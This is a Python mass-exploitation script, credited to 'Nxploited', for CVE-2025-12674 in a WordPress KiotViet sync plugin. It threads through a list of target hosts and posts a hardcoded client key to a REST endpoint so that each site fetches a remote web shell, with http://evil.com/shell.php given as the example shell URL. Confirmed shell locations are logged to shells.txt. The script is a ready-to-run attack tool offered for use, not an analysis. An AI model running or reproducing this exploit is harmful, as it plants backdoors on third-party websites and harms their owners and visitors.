#!/usr/bin/env python3 # Author: Nxploited (Khaled Alenazi) | https://github.com/Nxploited | https://t.me/KNxploited import threading import requests import time import os import sys import re from urllib.parse import urlparse from datetime import datetime from rich.console import Console from rich.text import Text from rich.panel import Panel from rich.progress import Progress, SpinnerColumn, BarColumn, TextColumn, TimeElapsedColumn from rich.align import Align from rich.theme import Theme from rich import box from rich.table import Table theme = Theme({ "banner": "bold cyan", "github": "bold magenta", "telegram": "bold green", "nxsplit": "bold white on blue", "mainbox": "bold white on black", "author": "bold yellow", "usage": "bold green", "info": "bold magenta", "success": "bold white on green", "error": "bright_red", "warning": "bold white on red", "progress": "bold magenta", }) console = Console(theme=theme) os.environ['NO_PROXY'] = '*' DEFAULT_THREADS = 10 DEFAULT_TIMEOUT = 16 OUTPUT_SHELLS_FILE = "shells.txt" BACKUP_SUFFIX_FMT = "%Y%m%d_%H%M%S" USER_AGENT = "KiotVietEx/1.0 (+https://github.com/Nxploited) Mozilla/5.0" write_lock = threading.Lock() counter_lock = threading.Lock() counters = {"total": 0, "success": 0, "failed": 0} def print_custom_banner(): banner_art = ( ". . . . . \n" "|\\ | | o | | \n" "| \\| . , ;-. | ,-. . |- ,-. ,-| \n" "| | X | | | | | | | |-' | | \n" "' ' ' ` |-' ' `-' ' `-' `-' `-' \n" " ' " ) github_account = "GitHub: https://github.com/Nxploited" telegram_account = "Telegram: https://t.me/KNxploited" nxploited_tag = Text("Nxploited KiotViet Exploit", style="nxsplit") body = Align.center( "\n".join([ "", banner_art, "", github_account, telegram_account, "" ]) ) console.print( Panel(body, title=nxploited_tag, title_align='center', box=box.DOUBLE, border_style="mainbox", padding=(1,12), expand=True) ) def show_usage_box(): usage = ( "[usage]Usage:[/]\n" "1. Put target hosts in [bold]list.txt[/] (one host per line, e.g. example.com).\n" "2. Run: [bold cyan]python CVE-2025-12674.py[/]\n" "3. When prompted provide:\n" " - Thread count (default 10)\n" " - Remote shell URL (direct link to your shell, e.g. http://evil.com/shell.php)\n" "4. Successful shell uploads will be saved to [bold]shells.txt[/].\n" "5. For support contact: [bold magenta]@KNxploited[/] (Telegram)" ) console.print(Panel(usage, box=box.ROUNDED, style="usage", border_style="green")) def backup_output_file(path): if os.path.exists(path): ts = datetime.now().strftime(BACKUP_SUFFIX_FMT) bak_name = f"{path}.{ts}.bak" os.replace(path, bak_name) console.print(f"[info]Existing {path} backed up to {bak_name}[/info]") def safe_write_shell_path(shell_path): with write_lock: with open(OUTPUT_SHELLS_FILE, "a") as f: f.write(f"{shell_path}\n") def is_valid_url(u): try: p = urlparse(u) return p.scheme in ("http", "https") and bool(p.netloc) except Exception: return False def normalize_target_host(host): host = host.strip() if host.lower().startswith(("http://", "https://")): p = urlparse(host) base = f"{p.scheme}://{p.netloc}" return base.rstrip('/') return f"http://{host.rstrip('/')}" def chunk_targets(targets, n): if n <= 1: return [targets] chunks = [[] for _ in range(n)] for idx, val in enumerate(targets): chunks[idx % n].append(val) return chunks def kiotviet_exploit(target, shell_url, timeout=DEFAULT_TIMEOUT): url = f"{target}/wp-json/admin/v1/query" headers = { "Content-Type": "application/json", "User-Agent": USER_AGENT } data = { "client_key": "dasdasd23423JFHDJKFHJD", "action": "create", "table": "kiotviet_sync_products", "ref_id": "0", "fields": { "products": [{ "name": "NxShell", "type": "simple", "regular_price": "199.99", "raw_image_id": shell_url }] } } try: r = requests.post(url, json=data, headers=headers, timeout=timeout, verify=False) with counter_lock: counters["total"] += 1 if r.status_code == 200 and ( "{\"message\":\"OK\"}" in r.text or "\"message\":\"Done!\"" in r.text or "message\":\"OK" in r.text ): with counter_lock: counters["success"] += 1 shell_dir = f"{target}/wp-content/uploads/{datetime.now().year}/{datetime.now().month:02}/" safe_write_shell_path(shell_dir) console.print(Panel( f"[success]✔ Shell uploaded![/success]\n" f"Check here:\n[bold]{shell_dir}[/bold]\n", box=box.DOUBLE, border_style="bright_green" )) return True, shell_dir else: with counter_lock: counters["failed"] += 1 return False, r.text except Exception as e: with counter_lock: counters["failed"] += 1 return False, str(e) def worker_thread(thread_id, targets, shell_url, timeout, progress_task, progress): for t in targets: console.print(Panel(f"{t}\n[bold cyan]Trying KiotViet exploit...[/bold cyan]", box=box.ROUNDED, style="info")) success, info = kiotviet_exploit(t, shell_url, timeout) if not success: console.print(Panel( f"[error]Shell upload failed or not confirmed at {t}\nResponse/Error:\n{info}[/error]", box=box.ROUNDED, style="error" )) try: if progress and progress_task is not None: progress.update(progress_task, advance=1) except Exception: pass def main(): try: print_custom_banner() show_usage_box() console.print(Panel("[bold magenta]Press ENTER to continue to inputs...[/bold magenta]", box=box.SQUARE)) input() list_file = console.input("[bold yellow]Enter targets file name (default: list.txt): [/]").strip() or "list.txt" thread_input = console.input(f"[bold yellow]Enter number of threads (default: {DEFAULT_THREADS}): [/]").strip() threads = DEFAULT_THREADS if thread_input.isdigit() and int(thread_input) > 0: threads = int(thread_input) shell_url = console.input("[bold yellow]Enter REMOTE SHELL URL (direct link): [/]").strip() if not is_valid_url(shell_url): console.print("[error]Invalid shell URL. Exiting.[/error]") sys.exit(1) if not os.path.exists(list_file): console.print(f"[error]Targets file '{list_file}' not found. Exiting.[/error]") sys.exit(1) backup_output_file(OUTPUT_SHELLS_FILE) with open(list_file, "r") as f: raw_targets = [line.strip() for line in f if line.strip()] targets = [normalize_target_host(x) for x in raw_targets] if not targets: console.print("[error]No targets found in the list. Exiting.[/error]") sys.exit(1) console.print(Panel(f"Loaded [bold]{len(targets)}[/] targets. Threads: [bold]{threads}[/].", box=box.ROUNDED, style="info")) chunks = chunk_targets(targets, threads) with Progress( SpinnerColumn(), TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("{task.completed}/{task.total}"), TimeElapsedColumn(), console=console, transient=True ) as progress: total = len(targets) task = progress.add_task("[bold cyan]Exploiting KiotViet targets...[/]", total=total) thread_list = [] for i in range(len(chunks)): if not chunks[i]: continue th = threading.Thread(target=worker_thread, args=(i, chunks[i], shell_url, DEFAULT_TIMEOUT, task, progress)) th.daemon = True th.start() thread_list.append(th) for t in thread_list: t.join() table = Table(title="Summary", box=box.SIMPLE) table.add_column("Metric", style="bold") table.add_column("Value", justify="right") table.add_row("Total attempts", str(counters["total"])) table.add_row("Successful shells", str(counters["success"])) table.add_row("Failed attempts", str(counters["failed"])) console.print(table) console.print(Panel(f"Uploaded shells folders saved in [bold green]{OUTPUT_SHELLS_FILE}[/bold green]", box=box.DOUBLE, style="info")) except KeyboardInterrupt: console.print("\n[error]Interrupted by user. Exiting gracefully...[/error]") except Exception as e: console.print(Panel(f"[error]Unexpected error:[/] {e}", box=box.ROUNDED, style="error")) finally: console.print("\n[info]Done. Press ENTER to exit...[/info]") try: input() except Exception: pass if __name__ == "__main__": main()